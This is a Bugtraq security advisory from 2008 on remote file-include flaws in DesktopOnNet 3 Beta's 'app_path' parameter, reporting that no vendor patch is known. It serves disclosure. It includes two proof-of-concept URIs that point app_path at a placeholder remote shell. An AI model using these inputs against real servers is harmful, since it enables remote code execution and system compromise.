DesktopOnNet 'app_path' Parameter Multiple Remote File Include Vulnerabilities

Bugtraq ID:	29472
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 02 2008 12:00AM
Updated:	Jun 02 2008 12:00AM
Credit:	MK
Vulnerable:	DesktopOnNet DesktopOnNet 3 Beta
Not Vulnerable:

DesktopOnNet 'app_path' Parameter Multiple Remote File Include Vulnerabilities

DesktopOnNet is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow a remote attacker to compromise the application and the underlying system; other attacks are also possible.

DesktopOnNet 3 Beta is vulnerable; other versions may also be vulnerable.

DesktopOnNet 'app_path' Parameter Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/DON3/applications/don3_requiem.don3app/don3_requiem.php?app_path=SH3LL?
http://www.example.com/DON3/applications/frontpage.don3app/frontpage.php?app_path=SH3LL?

DesktopOnNet 'app_path' Parameter Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

DesktopOnNet 'app_path' Parameter Multiple Remote File Include Vulnerabilities

References:

• DesktopOnNet Homepage (DesktopOnNet)